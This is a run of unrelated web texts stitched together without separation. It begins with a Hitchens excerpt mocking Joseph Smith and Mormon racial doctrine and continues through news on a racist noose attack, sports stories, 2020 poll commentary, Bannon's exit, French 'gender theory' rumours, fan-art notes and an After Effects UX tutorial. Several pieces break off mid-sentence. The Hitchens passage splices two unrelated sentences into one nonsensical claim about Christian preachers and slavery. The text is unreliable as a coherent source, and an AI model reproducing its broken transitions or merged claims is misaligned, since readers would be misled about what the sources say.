Remove the i in Moroni and you get Moron. God Is Not Great, by Christopher Hitchens In March 1826 a court in Bainbridge, New York, convicted a twenty-one-year-old man of being "a disorderly person and an impostor." That ought to have been all we ever heard of Joseph Smith, who at trial admitted to defrauding citizens by organizing mad gold digging expeditions and also claiming to possess dark or "necromantic" powers. However, within four years he was back in the local newspapers (all of which one may still read) as the discoverer of the "Book of Mormon". He had two huge local advantages which most mountebanks and charlatans do not possess. First, he was operating in he same hectically pious district that gave us the Shakers, the previously mentioned George Miller who repeatedly predicted the end of the world, and several other self-proclaimed American prophets. So notorious did this local tendency become that the region became known as the "Burned Over District" in honor of the way in which it had surrendered to one religious craze after another. Second, he was operating in an area which, unlike large tracts of newly opening North America, did possess signs of ancient history. A vanished and vanguished Indian civilization had bequeathed a considerable number of burial mounds, which when randomly and amateurishly desecrated were found to contain not merely bones but also quite advanced artifacts of stone, copper, and beaten silver. There were eight of these sites within twelve miles of the underperforming farm which the Smith family called home. There were two equally stupid schools or factions who took a fascinated interest in such matters; the first were the gold-diggers and treasure-diviners who brought their magic sticks and crystals and stuffed toads to bear in on the search for lucre, and the second were those who hoped to find the resting place of a lost tribe of Israel. Smith's cleverness was to be a member of both groups, and to unite cupidity with half-baked anthropology. The actual story of the imposture is almost embarrassing to read and almost embarrassingly easy to uncover. (It had been best told by Dr. Fawn Brodie, whose 1945 book "No Man Knows My History" was a good faith attempt by a professional historian to put the kindest possible interpretation on the relevant "events.") In brief, Joseph Smith announced that he had been visited (three times, as is customary) by an angel named Moroni. The said angel informed him of a book, "written upon gold plates" which explained the origins of those living on the North American continent as well as the truths of the gospel. There were, further, two magic stones, set in the twin breast-plates Urim and Thummim of the Old Testament that would enable Smith himself to translate the aforesaid book. After many wrestlings, he brought the buried apparatus home with him in September 21, 1827, about eighteen months after his conviction for fraud. He then set about producing a translation. The resulting "books" turned out to be a record set down by ancient prophets, beginning with Nephi, son of Lephi, who had fled Jerusalem in approximately 600 BC and come to America. Many battles, curses, and afflictions accompanied their subsequent wanderings and those of their numerous progeny. How did the books turn out to be this way? Smith refused to show the golden plates to anybody, claiming that for other eyes to view them would mean death. But he encountered a problem that will be familiar to students of Islam. He was extremely glib and fluent as a debater and story-weaver as many accounts attest. But he was illiterate, at least in the sense that while he could read a little, he could not write. A scribe was therefore necessary to take the inspired dictation. The scribe was at first his wife Emma and then when more hands were necessary, a luckless neighbor named Martin Harris. Hearing Smith cite the words of Isaiah 29, verses 11-12, concerning the repeated injunction to "Read", Harris mortgaged his farm to help in the task and moved in with the Smiths. He sat on one side of a blanket hung across the kitchen, and Smith sat on the other with his translation stones, intoning through the blanket. As if to make this an even happier scene, Harris was warned that if he tried to glimpse the plates, or look at the prophet, he would be struck dead. Mrs. Harris was having none of this, and was already furious with the feckleness of her husband. She stole the first hundred and sixteen pages and challenged Smith to reproduce them, as presumably - given his power of revelation - he could. (Determined women like this appear far too seldom in the history of religion). After a very few weeks, the ingenious Smith countered with another revelation. He could not replicate the original, which might be in the devil's hands by now and open to a "satanic verses" interpretation. But the all-forseeing Lord had meanwhile furnished some smaller plates, indeed the very plates of Nephi, which told of a similar tale. With infinite labor, the translation was resumed, with new scriveners behind the blanket as occasion demanded, and when it was completed all the Christian preachers of all kinds had justified slavery until the American Civil War and even afterwards, on the supposed biblical warrant that of the three sons of Noah (Shem, Ham, and Japhet), Ham had been cursed and cast into servitude. But Joseph Smith took this nasty fable even further, fulminating in his "Book of Abraham" that the swarthy races of Egypt had inherited this very curse. Also, at the made-up battle of "Cumora", a site located near his own birthplace, the "Nephites", described as fair-skinned and "handsome", contended against the "Lamanites", whose descendants were punished with dark pigment for turning away from God. As the crisis over American slavery mounted, Smith and his even more dubious disciples preached against the abolitionists in antebellum Missouri. They solemnly said that there had been a third group in heaven during the ultimate battle between God and Lucifer. This group, as it was explained, had tried to remain neutral. But after Lucifer's defeat they had been forced into the world, compelled to take bodies in the accursed lineage of Canaan; and hence the Negro or African race. Thus, when Dr. Brodie first wrote her book, no black American was allowed to hold even the lowly position of deacon, let alone a priesthood, in the Mormon church. Nor were descendants of Ham admitted to the sacred rites of the temple. If anything proves the human manufacture of religion, it is the way that the Mormon elders resolved this difficulty. Confronted by the plain words of one of their holy books, and the increasing contempt and isolation that it imposed upon them, they did as they had done when their fondness for polygamy would have brought federal retribution upon God's own Utah. They had still another "revelation" and, more or less in time for the passage of the Civil Rights Act of 1965, had it divinely disclosed to them that black people were human after all. It must be said for the "Latter Day Saints" (these conceited words were added to Smith's original "Church of Jesus Christ" in 1833) that they have squarely faced one of the great difficulties of revealed religion. This is the problem of what to do about those who were born before the exclusive "revelation", or who died without ever having the opportunity to share in its wonders.Photo: NBC
Throwing 12 teams into unpredictable international situations twice a year is a recipe for disaster on many levels, the most straightforward of which is bodily harm. Sometimes it doesn’t matter how good a team is at playing The Amazing Race; the mere act of running around all these countries and terrains can present unpredictable and painful hazards. As part of our Reality Rumble competition, Vulture counts down the ten most game-changing injuries to happen during the 24 seasons of the show so far, from injuries that have sidelined teams and forced them out of the competition to potentially life-threatening situations that players have bounced back from. Twisting your ankle, pulling your groin, or taking a very large fruit to the head: It’s all possible on The Amazing Race.
10. Marshall’s knee (Season 5)
Dallas pizzeria owners Marshall and Lance became the first team on the show to voluntarily quit the race when Marshall’s knee injury flared up and made him and his brother unable to compete during the Leg 6 roadblock in Egypt. While a huge moment game-wise, it may well be the least dynamic of Race injuries, since it just resulted in Marshall having to walk really slowly through several legs of the race.
9. Renee’s concussion (Season 8)
The often ignored Family |
andra Simonton, spokeswoman for Cook County State's Attorney Anita Alvarez.
A spokeswoman for Attorney General Lisa Madigan said that request is still under review.
Merritt said he and the 16-year-old’s cousin were friends but were not dating. He said he went to the 16-year-old boy’s house after one of the teens invited him over.
Merritt, a senior at Brother Rice High School, said everything seemed normal when he first arrived.
He said he and the others were talking about music before the others started using racist terms, including the N-word, against him.
Then one of the teens approached from behind and slipped a rope fashioned into a noose around his neck, he said.
After getting out of the noose, Merritt and police said he tried to escape, but the others blocked the doors.
“I couldn’t believe that they were doing this,” said Merritt, wearing a maroon Brother Rice jacket over his white shirt and black tie. “I just (felt) trapped inside there.”
The situation seemed to calm down a bit, Merritt said. He said he told the others, “Guys, stop. Please. This isn’t funny.”
That’s when one of the teens put the noose around his neck a second time, he said.
The attack stopped when one of the teens got a phone call, giving Merritt a chance to leave, he said.
But after he got to the street, Merritt said, the 16-year-old allegedly held a knife to him and threatened to kill him if he spoke to the boy’s cousin again.
No one answered the door at the 16-year-old’s home Thursday evening. The boy attends Morgan Park High School, Merritt and police said.
A man who answered the door at the house listed as Herrmann’s home in court records said he didn’t know Herrmann.
Herrmann graduated from Brother Rice last year, and the 17-year-old suspect is a student there, authorities said.
A school official told WGN-TV that the boy had been removed from the school, but it wasn’t clear if he had been suspended or expelled.
Merritt, who hopes to study graphic design after graduating, said he has never been harassed because of his race before and that they the incident doesn’t change his perception of his high school.
“I would just like to say that Brother Rice really does try to instill love for other people and tolerance, and that these people don’t represent Brother Rice,” he said. “They didn’t receive the message.”
Tribune reporter William Lee contributed.
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West Ham new boy Dimitri Payet will have his season disrupted – by a court appearance in Africa, report the Sunday People.
The France international has landed a driving ban for speeding while holidaying on the Indian Ocean island Reunion. He also had his £70,000 car towed away.
Payet, an £11million Hammers buy from Marseille, will now have to face a judge on the island in September.
Cops caught the midfielder doing 106mph on a 55mph road in his Audi Quattro RS5 on July 3. They seized the supercar and confiscated the 28-year-old’s licence. He risks a three-year ban and £1,000 fine.
Former Saint-Etienne ace Payet was born on Reunion, a former French colony, and was visiting family and friends.Balloons and confetti are seen at the end of the fourth day of the Republican National Convention on July 21, 2016, at the Quicken Loans Arena in Cleveland. (John Moore/Getty Images)
First of all, before you complain, no, it is not too early to talk about the 2020 election. It is not. The RealClearPolitics polling average for the Republican primaries in 2016 began in July 2013, with eventual winner Chris Christie holding a narrow lead over 2016 runners-up Marco Rubio and Rand Paul. No, Donald Trump wasn’t included in those polls. Why do you ask?
In other words, I’m granting you that 2020 polling from three-plus years in advance is not necessarily going to tell us who will win. That said, however, it can tell us something about what’s going on today.
For example. Fox News released a poll on Wednesday asking an interesting variant on the “if the election were today” question. If the 2020 election were today, Fox asked, would you support Donald Trump for reelection, or would you vote for someone else?
You can see how this question might go either way. Trump’s not terribly popular, so you have to figure that more people would vote against him. But, then, a recent Post-ABC News poll found a great deal of loyalty among Trump fans, with 96 percent saying they’d vote for him again today in a rematch of the 2016 contest. Given the drop-off among Hillary Clinton supporters in that poll, Trump might even eke out a popular vote win if the numbers held in this imaginary re-do.
Those who made the former guess were correct. In the Fox News poll, 36 percent of respondents say they would vote for Trump in 2020 if that election were today, with a fifth of the population saying they would definitely do so. By contrast, nearly half of Americans say they would definitely vote for someone else.
In total, 55 percent of respondents said they would definitely or probably vote against him. That includes 96 percent of Clinton voters, 94 percent of Democrats and 49 percent of independents. In fact, even 7 percent of Trump voters said they would probably vote against him in 2020.
There are a number of ways in which that figure isn’t necessarily at odds with the Post-ABC poll. For example, the margin of error among Trump voters in the Fox poll is 4.5 percent, which suggests that the group which might bail on Trump could overlap with that 4 percent that wouldn’t vote for him again in a rematch of the 2016 race.
But there’s also a core tenet of political polling that is always worth bearing in mind: An anonymous, theoretical candidate is almost always preferable to a real one. When Gary Johnson was pulling 10 percent of the vote in polling last summer, I used to note that, given a choice between someone people hate (Trump), someone people hate (Clinton) and someone people have never heard of, a lot of people will choose the person they’ve never heard of. (Then people started to hear of Johnson, and it went poorly.)
Given a choice between Trump and Anyone Else, the same rule applies. A lot of people will pick Anyone Else. That Anyone Else pulls more support from Trump fans than Hillary Clinton should not really be surprising.
That said, the Fox poll reinforces the long-term problem for Trump. He can’t count on his core base of support tripping past an unpopular opponent to an electoral college win again. He has got to do something to winnow down that 47 percent of the country that definitely plans to vote for Anyone Else. If he doesn’t, he will be as likely to win a second term as Chris Christie is to win the 2016 Republican nomination.White House Chief Strategist Steve K. Bannon, the defiant populist at the center of President Trump’s nationalist message, is “out,” according to the Drudge Report.
The New York Times has confirmed it. However, they cautioned, “The president and senior White House officials were debating when and how to dismiss Mr. Bannon. The two administration officials cautioned that Mr. Trump is known to be averse to confrontation within his inner circle, and could decide to keep on Mr. Bannon for some time.”
The announcement came after reports that Bannon was in “limbo” after a political fallout with many of Trump’s top advisors, including Fox News CEO Rupert Murdoch and National Security Advisor Lt. Gen. H. R. McMaster. The New York Times writes that McMaster had even refused to even work with Bannon.
Fox News adds, “White House sources also told Fox News they think Bannon is the main source behind many negatives stories about his political rivals at 1600 Pennsylvania Avenue, including Priebus; Trump son-in-law Jared Kushner; Trump daughter Ivanka; and more recently National Security Adviser H.R. McMaster.”
Bannon had been at the center of the controversy surrounding Trump’s perceived sympathy towards white supremacists and neo-Nazis, particularly after this past weekend’s terrorism in Charlottesville, Virginia.
Prior to joining the Trump team, Bannon had been executive chair of Breitbart News, a far-right news site.
See the funniest memes about his dismissal below:CINCINNATI (WKRC) - During his lengthy tenure with the Bengals, Domata Peko was a good guy to deal with from a media perspective, quick with a laugh and a quote and often the quote was what he thought you wanted to hear. That is what likely happened recently when he made some comments in Denver about his former team that were way off base.
Peko signed with the Denver Broncos in the offseason after the Bengals wisely chose to let him walk, and according to the team's website - DenverBroncos.com -
"In Cincy, we were kind of always talking about, ‘Oh, I want to win a playoff game. I want to win a playoff game,’ ” Peko said. “But over here, we’re talking about winning championships. That’s what brought me here. I want to win a championship.”
I have covered the Bengals regularly since the 2014 season and have never once heard a Bengals player or head coach Marvin Lewis talk about winning a playoff game as the singular goal. The media has talked and written about the importance of taking that first step and fans have certainly clamored for it, but no one publicly inside that locker room has said that.
Leading up to the Bengals playoff game at Indianapolis in the 2014 season, Bengals quarterback Andy Dalton was asked what it would mean for the franchise to win a playoff game for the first time since the 1990 season and made it a point that winning just one playoff games WASN'T the goal.
"That's not what we're playing for," he said. "We're not playing for one win. The ultimate goal is to win the Super Bowl."
Even after the Bengals failed to make the playoffs last season to break a string of five straight appearances, Lewis said: "The overall thing, the goal is to be world champions. Only one group gets to do that."
Peko was most likely trying to be complimentary of his new employer, because he wants to be liked, and the truth is the Broncos have won three Super Bowl titles, all since 1997.
He's probably also a little hurt that the Bengals didn't want him back - at least at the price he was asking - and understandably so. By most metrics and grades he's been an average player for a long time who was basically a first down run stopper, and the Bengals are trying to get younger and more athletic there, which is why they drafted Andrew Billings in the fourth round last season.
Peko was a solid pro for a long time and he deserves credit for that, and the Bengals did make six playoff appearance in his 11 seasons with the team.
He also should remember, though, that he was a part of the reason the Bengals lost those six games.
While Dalton received the brunt of the criticism for losing the four of the last five (he wasn't around for the 2009 loss and was injured and didn't play in the 2015 loss) the run defense wasn't very good in any of the six losses in which Peko participated.
The Bengals allowed 994 yards on the ground in those six losses (an average of 166.7 per game) and 4.75 yards per carry. The Pittsburgh Steelers duo of Jordan Todman and Fitzgerald Toussaint combined for 123 of the Steelers' 167 yards rushing in the most recent playoff loss in the 2015 season, while the year before that Daniel "Boom" Herron and Zurlon Tipton combined for 96 of the Indianapolis Colts' 114 rushing yards. Neither Herron nor Tipton logged a single NFL carry last season, while Toussaint had 14 carries and Todman had nine (for the Colts).
Peko could have perhaps helped lead the way to the first playoff win.
He can say all the nice things he wants about the Broncos, and there's no dodging the fact the Bengals haven't won a playoff game in decades, but don't think for a second what Peko said had any grain of truth to it.
The Bengals' goal is to win the Super Bowl, period, but they can't do that until they finally win a playoff game again.French Education Minister Vincent Peillon threatened Wednesday to sanction parents who pull their children from school after a wave of absenteeism sparked by a rumor about sex education that could become a new ideological battleground.
Thousands of parents in France received a text message on their mobile telephones last week urging them to keep their children from school on Monday. The collective action was to protest against an alleged new development in French primary schools: the attempt to teach students that “they are not born as boys or girls, but can choose to become one or the other.”
The grassroots campaign opposing the teaching of “gender theory” in French schools asked parents to go further by taking their kids out of school one day every month. It recommended this be done with no prior warning to teachers.
The message also alerted parents that sexual education will invade kindergarten classes “with practical examples” when the new school year starts in September.
The impact of the message, also relayed on online social networks, was limited in scope but nonetheless significant. Around 100 primary schools – out of a total of 48,000 in France – reported absent pupils in relation to the boycott, according to the education ministry.
Reactions from authorities and schools also came swiftly. On Wednesday, French Education Minister Vincent Peillon ordered principals across the country to summon any parent keeping their child from school in order to dispel the rumor and remind the adults that school is compulsory.
“The national school system is in no way teaching gender theory. It teaches equality from all points of view, and in particular, equality between women and men,” Peillon said.
Sylvie Fromentelle, vice president of the FCPE, France’s largest parent-teacher association, also rushed to calm fears. “They are trying to scare parents by telling them that [schools] are trying to challenge the biological basis of sexual identity,” she said in a note to group members, adding that gender theory did not exist within the social sciences or within French schools.
Familiar face, new agenda
However, many French leaders and rights advocates were quick to point out that the gender theory rumor was no simple mishap. They say it is part of a calculated campaign by conservative figures – some with ties to far-right groups – to oppose a new gender equality curriculum.
The so-called “ABCs of equality” program was introduced in some 600 primary school classes this year, and some French conservatives are outraged that it teaches tolerance of same-sex couples.
The Initiative To Pull Students From School, which has its own website, was launched by novelist and filmmaker Farida Belghoul.
As a youth in the early 1980s, Belghoul, who is of Algerian background, was a leading figure in a prominent movement against racial and sexual discrimination in France. But Belghoul has now surprised many former admirers by publicly supporting controversial writer and commentator Alain Soral.
A former party officer in France’s far-right National Front, Soral regularly rages against feminists and homosexuals, and has been found guilty of anti-Semitic speech in the past.
He also has ties to anti-Semitic comic Dieudonné, whose shows were banned in at least four French cities this month.
Battling the ‘ABCs of equality’
Belghoul’s school-skipping move has also received the support of ultra-conservative Catholic groups, like the French Spring and Civitas, which helped organise the massive anti-gay marriage protests in France last year.
At the time both those groups were asked to keep their distance from the official marches because their positions were considered too radical.
While Belghoul has carefully avoided directly challenging the “ABCs” program – she never mentions it by name, instead raging against gender theory – groups like Civitas are not pulling punches.
For the strict traditionalists, the underlying concern is presenting homosexuality to young students as normal. After unsuccessfully fighting to safeguard the institution of marriage from same-sex couples, schools have become their new front.
Civitas called minister Peillon a liar on Wednesday as it endorsed Belghoul. “Thanks to Farida Belghoul numerous parents have been alerted about an unnatural and perverse ideology that is being taught as early as pre-school under the guise of equality and ‘the fight against homophobia’,” the group said.
It decried the alleged use of a book called “I have two dads that love each other”, among others, suggested for “ABCs” lesson plans.
France’s Socialist government and its allies have defended the program in the wake of the scandal. “Above else, it is aimed at teaching that boys and girls are equal, with the ultimate goal of combating sexual discrimination,” the FCPE’s Fromentelle said.
Peillon and teachers will be carefully scrutinizing roll call lists next Monday, hoping school attendance levels will be back to normal.
While gay marriage was legalized in France last year, the magnitude of the anti-gay marriage movement caught everyone by surprise. A new ideology-fueled storm may be on the horizon.
[Image: ‘Diverse group of middle-school children in class’ via Shutterstock]While drawing this, I noticed that the Apple Siblings actually create the first 3 colors of the rainbow when stacked together like this.
How do you like them Apples?Red, Orange, Yellow.They, quite literally, put the ROY in the ROY-G-BIV!Anyway, this was really fun to make. I just like stacking ponies on one another for some reason.You'd think it would be a challenge to draw ponies of three different sizes stacked on one another, but it was actually pretty easy going! This was also only the second time I drew Big Mac, but the first time I drew his Yoke around his neck. He came out phenomenally.What is the purpose of the Yoke? Is it used to pull things?Applejack, of coarse, eating an Apple and Applebloom being cute as always! How does she balance 4 different types of Apples on her head at the same time??? Well, actually those 4 apples sort of represent the 4 members of the Apple Family. As indicated by the color of each apple. I would draw Granny Smith but I don't know how yet, so I drew in a Granny Smith Apple to symbolize that shes also a part of them as well.The word APPLE appeared 11 times in this description! (That's also including the word within names.)(Update 7/30/14)My art is once again featured in another episode of Babble With Bronies!Episode 85 to be exact, at the 1:02:48 mark.----------> www.youtube.com/watch?v=yAaWO0… MLP:FiM is owned by Hasbro.No copyright Infringement intended.About The Author My name is Matt Reamer and I’m an Experience Designer at Team One USA in LA. I design experiences both digital and physical and with everything I create … More about Matt…
Fitting After Effects Into A UX Workflow
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We all aim to be as agile as possible in today’s fast-paced web design world, while also remaining thoughtful of the end user and those we work with. After Effects is a great tool that enables us to quickly visualize and test robust animation patterns throughout web design, share those with the development team and clients, and even test variants with users to get quick validation on a design before it goes into production. Web design transitions and animations, like parallax scrolling, hidden navigation, swiping, pull to refresh, transformations or really any UI transition, are great to prototype in After Effects. In this article, we will be scratching the surface of how to fit After Effects into your UX Workflow, and we’ll share details, advice, experience and links that you could use as influence and thought starters in your next project.
We all aim to be as agile as possible in today’s fast-paced web design world, while also remaining thoughtful of the end user and those we work with. After Effects is a great tool that enables us to quickly visualize and test robust animation patterns throughout a web design, share those with the development team and clients, and even test variants with users to get quick validation on a design before it goes into production.
Web design transitions and animations, like parallax scrolling, hidden navigation, swiping, pull to refresh, transformations or really any UI transition, are great to prototype in After Effects. In this article, we will be scratching the surface of how to fit After Effects into your UX workflow, and we’ll share details, advice, experience and links that you could use as influence and thought starters in your next project.
Further Reading on SmashingMag:
Overview of an After Effects project (View large version)
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Motion In Experience Design
I like to think of motion in UI as a new type of aesthetic in design — a visceral aesthetic. Users might not be aware of it until they experience an interface that lacks it. This visceral aesthetic mimics how objects in real life actually move. This all stems from basic principles of physics. Physics is defined as “the natural science that involves the study of matter and its motion through space and time, along with related concepts such as energy and force. More broadly, it is the general analysis of nature, conducted to understand how the universe behaves.” In our case, our universe is the screen.
Real-world physics principles can improve UX.
What Is After Effects?
Over the past year or so, you may have noticed a ton of really cool UI animations dancing around the interwebs. You may have said, “That looks cool! How did they achieve such accurate transitions like that without any code?” Well, the answer is probably After Effects. For those who do not know, After Effects is Adobe software that, from its inception, has been used to build complex title animations and special effects for film. Designers realized its power and started using it to show complex interactions and animation quickly and iteratively.
The photo below might look intimidating, with all of those layers and little diamonds (keyframes). A keyframe in animation is points that define the start and end of any transition. The points are called frames because their position in time used to be measured in frames on a strip of film.
How keyframes look in After Effects (View large version)
If you remember Flash programming or “tweening” in Flash, then this concept should sound very familiar. Keyframes provide complex animations with very simple logic. And if you’re a developer, you could have some real fun creating robust keyframe animations through the software’s expression engine. Again, similar to Flash, which allows users to tween via keyframes or write custom code via ActionScript, After Effects has a built-in JavaScript-based engine that allows for more streamlined animation, without requiring you to create tens or hundreds of keyframes by hand.
An expression is a little piece of software — much like a script — that evaluates to a single value for a single layer property at a specific point in time. Whereas scripts tell an application to do something, an expression says that a property is something and tells that specific layer or property to animate or transition in a certain way. Expressions prove very useful when you’d like to test a particular animation across multiple elements very quickly.
After Effects is similar to tweening in Flash.
Benefits Of After Effects
Speed Up Project Timeline
Explaining a complex UI animation to clients is really hard. Most of them cannot picture it. I even have a hard time picturing a UI animation when reading someone else’s documentation. When clients see a slick and finessed animation style in After Effects, they are thrilled. It gives them a clear picture of how the end product will look and function.
This kind of exploration of functionality through prototypes can be done in various phases of the design process. Showing a client some basic exploratory animations and transitions during the project’s discovery phase could get them really excited about the possibilities and make them want more for their website or application. We normally use After Effects as a way to validate functionality and visual design choices. No matter in which phase of the project cycle you choose to implement After Effects prototyping, be sure to have a clear end goal and know that this form of prototyping is supposed to be rapid. The goal might be to showcase the most complex pieces of functionality and finetune them for developers, or simply to show the client something shinny and sexy. Either way, the process should be rapid.
This rapid way of visualizing animation is also great for testing different designs with users. At this point in a project, most design decisions are based on the analytics of existing websites (if any), personas drawn from the user base and a lot of assumptions. So, this process enables us to easily create a few variations of the same design element, showing how it moves, and presenting that to users and asking for feedback in a survey or with one-on-one questions. By simply letting the user view the animation on a device, they can quickly judge which feels more natural and is most appealing. You can also bring this into a more traditional approach to testing by incorporating the animation as a GIF in a clickable prototype on whatever web platform you are using. Most rapid prototyping web tools support GIFs nowadays.
There are many ways to animate the same UI element.
Here is another version of the animation above that could be used to get quick user feedback.
Paper-based (wireframe) transitions — of menus, button states, off-canvas containers or whatever else — might seem like an easy solution. But once you’ve annotated them for the developer and seen them in motion, you might quickly change your mind and say, “Actually, the menu looks weird sliding in from the left. Could we try sliding it in from the top? And could the link items in the menu list come in delayed right behind one another?” This turns into a back-and-forth between developer and designer and a matter of trial and error on both parts.
Avoid this by taking a few elements from your website in any form, whether they be boxes and arrows or visual comps, and making a few variants of how the elements could animate. Once this is complete and while the visual designers are making their last-minute tweaks and cleaning up their files for development, these different animations could be worked into quick prototypes in Invision or a comparable web-based prototyping tool, and they could be sent to stakeholders or actual users for testing. We could then take the results of these quick usability tests and tweak our functional document to reflect our findings, along with a GIF of the most effective menu variant.
To accompany the GIF file, we would add our functional documentation, as well as the easing curve that was applied and the duration of the animation. Because these attributes of the animation seemed to perform best among the variants, we can start to apply these to other functions and elements of the website to create a consistent visceral feel throughout the experience. Yes, other elements will have slight variations due to their different purposes, but again, the answer to that comes with testing.
By introducing this into your lean UX or agile workflow, the back-and-forth discussion about animation between the development and design teams can be chopped down tremendously, and the development team will feel more confident in its direction and will feel less of a cognitive load while programming and reading through the documentation. If you’re interested in how to go about translating custom After Effects easing easing curves to CSS3 keyframe animations for delivering more precise documentation to your developers, check out this article by Ryan Brownhill on the subject.
Easing
As mentioned earlier, this visceral aesthetic mimics how objects move in real life. Objects in the real word don’t move at a constant speed throughout the duration of their movement — they ease in. For instance, if you launch your computer mouse across the desk, it will not move at one constant speed and then come to an abrupt stop. In the digital word, we mimic the movement of real objects using easing curve functions.
An easing function usually describes the value of a property given a percentage of completeness. Different frameworks use slightly different methods, but the concept is easy to grasp once you get the idea. It’s probably best to look at a few examples.
The Easing Functions Cheat Sheet enables you to go through and check out how each individual curve puts objects in motion, and then grab the function in either CSS, SASS or JavaScript to be leveraged in your After Effects project. If you’re looking for something a little more automated and less custom, you can download Ease and Wizz, a great script for After Effects that comes loaded with multiple curves; when keyframes are selected, you can apply a curve’s expression to those keyframes.
Visualizing cubic-bezier curves compared to a linear curve
Integrating With Different Program Workflows
Photoshop or Illustrator to After Effects
This is probably how most designers on your team will be turning your wireframes into visual beauties. Because After Effects is a Adobe product, Photoshop (PSD) and Illustrator (AI) files are extremely compatible. You don’t need any special exporting specifications for PSD files. Just save a file and import it. And for AI files, all you have to do is make sure that you “Release Layers to Sequence” before saving the file.
A great aspect of taking PSDs into After Effects is being able to edit text. This way, if you are going for more high-fidelity animation testing and some copy happens to change in the comps, making a change in the animated prototype becomes really easy.
If you haven’t enabled text, there is always the option of live updates. The beauty of working within Adobe programs is that most of them communicate very well with each other. So, when you make a change in a PSD or AI file, it should reflect in your After Effects composition. You may have to restart the After Effects project to see the changes reflected properly, though.
Try to limit animation GIFs to six seconds — that is, not the entire transition, but rather the entire video you will be exporting. While I sometimes use After Effects to show more complex flows that end up being two to three minutes long, that is not ideal because the file’s size will be too big and the file’s structure over-complicated. Doing quicker micro-interaction animations is most efficient and effective.
When presenting these animation videos to clients, I’ve found that just hitting the play button does not quite get the reaction I had hoped. I have recently been showcasing animations to clients in GIF form or leaving them in video form and allowing the client to use the video scrubber, which creates an interaction that mimics the functionality of grabbing a scroll bar with the mouse and sliding down the page. This, of course, does not work in all situations, but it is a really effective when dealing with page-scrolling animations or parallax effects or when you need to hide the navigation on scroll.
Sketch to After Effects
We’ve recently started using Sketch 3 at work, and it’s a great tool. It speaks with native CSS units of measurement, and hundreds of repositories on GitHub have plugins for it, and it fosters collaboration with the functional design team and visual design team if they are working in the same program. My only gripe is that it is not very compatible with After Effects. I figured out a few workarounds that ultimately didn’t prove to be very efficient. However, Issara Willenskomer has found a clever way to easily convert Sketch files into either PSD or AI files for easy animating in After Effects.
Exporting Canvas From Sketch
When exporting your Sketch file for AI, select the artboard(s) that you’d like to animate, select the format of SVG in the tools panel on the right, and then click “Export your file name” at the bottom of that panel. Now, you’re ready to open Illustrator and import the SVG file.
Exporting your canvas from Sketch (View large version)
Import File to Illustrator
Once you’ve selected and opened the exported SVG in Illustrator, you’ll notice that all of the layers are lumped together. By default, when Sketch exports SVG files, it groups all of the layers, so you’ll need to ungroup them. Once the layers are ungrouped and in their individual layers, they are technically still living within the same layer. When prepping any AI files for animation in After Effects, you’ll need to use the special “Release Layers to Sequence” feature within the Layers panel. Make sure that the parent layer is selected when doing this. Once the layers have been released, you’ll notice that they have all been assigned their own color. At this point, you can select all of the files that have been released and move them above that parent layer.
Import the exported file to Illustrator and use the “Release layers to sequence” feature. (View large version)
Order and Organize Layers
It’s time to organize this big mess to make it easier to edit. This is where logic comes into play. Think about how these layers will be animated, and simplify as much as possible. For example, if a ton of layers are in the background but you don’t need to animate those layers, you can group them in Illustrator so that they are imported as a single layer, or give them intuitive labels so that you can pre-compose those layers in After Effects. The pre-composition route will allow you to actually animate them later on, if you decide to do so.
Order and organize your layers so they’re easier to edit.
Import Illustrator File to After Effects
The most important part of the importing process, and where most people get frustrated, is the little drop-down menu where you must select “Composition – Retain Layer Size.” If this is not selected, the AI file will be imported as a flat file, without editable layers.
Importing the AI file into After Effects (View large version)
Other Key Features Of After Effects
Pre-Compose to Stay Organized
Pre-comps will help you organize complicated After Effects projects. This is really important if a project is being touched by multiple people or if you expect to hand off a project to an interaction designer. The advantage of animating PSD documents over AI and Sketch documents is that if the layers are in a folder within Photoshop, that folder will be converted into a pre-comp. If you’re not animating a PSD, then once you’ve done your due diligence in the chosen UI platform, you can easily pre-compose layers by holding Shift, selecting the layers to pre-compose (i.e. group), right-click and hit “Pre-compose.” Now, you can animate the entire group or double-click into that pre-comp and animate individual layers.
Pre-comps will help you stay organized in complicated projects. (View large version)
Ease and Wizz
Ease and Wizz is a powerful expression engine that has popular preset easing curves. Open the Ease and Wizz UI panel in After Effects by going into the “File” menu item and then into the Scripts section. This script panel can be conveniently placed wherever best fits your workflow. Once the script panel is where you’d like it, you can set keyframes on a selected layer, select those keyframes, choose an easing curve from the Ease and Wizz script panel, and then apply that curve. The easing curves can be applied with a few clicks, and they add a feeling of real-world physics to your UI animation that the basic linear easing cannot.
Visualizing The Easing Curve
Once you have applied the Ease and Wizz curve to your keyframes, you’ll notice they have turned from the normal diamond keyframe shape into an hourglass. This means the easing curve has been applied. Another indicator is that the coordinates of the animation have turned red. From here, you can go in and customize the easing curve of your UI animation if you wish.
Visualizing the addition of the easing curve (View large version)
Different Approaches To After Effects Prototyping
Google’s Material Design ApproachJupp Heynckes believes the leading four candidates for the 2013 FIFA Ballon d'Or all belong to the Bayern Munich squad.
• Heynckes hints at move
Barcelona forward Lionel Messi has won the award every year since its inception in 2010, and Cristiano Ronaldo, Xavi Hernandez and Andres Iniesta are the only other players to have made the top three.
However, Heynckes' side won the Bundesliga, Champions League and DFB-Pokal this season, and the coach, who will be replaced by Pep Guardiola this summer, feels the main contenders all come from his squad.
"I'd like to think that it will be between four players this year," he said after Bayern's 3-2 DFB-Pokal victory over Stuttgart. "For me those players are our two captains, Philipp Lahm and Bastian Schweinsteiger, and then Franck Ribery and Thomas Muller. Those are the four candidates for me who have to sweep the board this year."
Bayern honorary president Franz Beckenbauer agreed that the award should go to one of the club's players.
"That would be deserved and also appropriate since no team dominated as FC Bayern did," he said.
Listing his candidates, he added: "First of all, Franck Ribery for an irresistible season. Then Philipp Lahm as he never had a really bad game. Bastian Schweinsteiger has developed into a personality. Thomas Muller and Arjen Robben are also candidates.
"Messi might generally be the best footballer in the world, but he doesn't qualify for this election."
Ribery told Le Parisien he feels he has "the right to believe" he could win the award this year.
The 30-year-old was only 16th in the vote for Europe's top player in 2008 despite having helped Bayern to a domestic double and being named Bundesliga Player of the Year after a magnificent maiden season in Bavaria.
The 2012-13 campaign surpassed that both in individual and collective terms and, having previously written off his own chances of picking up the award, Ribery is starting to dream of succeeding Messi when the results are announced in January.
"I've had a great season, the best of my career," the France international, who scored ten Bundesliga goals and provided a league-high 14 assists, said. "I hope to be in the hunt at least, in the top five. That would already be pretty good. But with an almost perfect end to the season, I have the right to believe I can do it."
The last Bayern player to win the Ballon d'Or in its original guise was Karl-Heinz Rummenigge in 1981, with none of the club's players winning the |
media field and offer a broader range of ideas than you see on old fading media outlets.
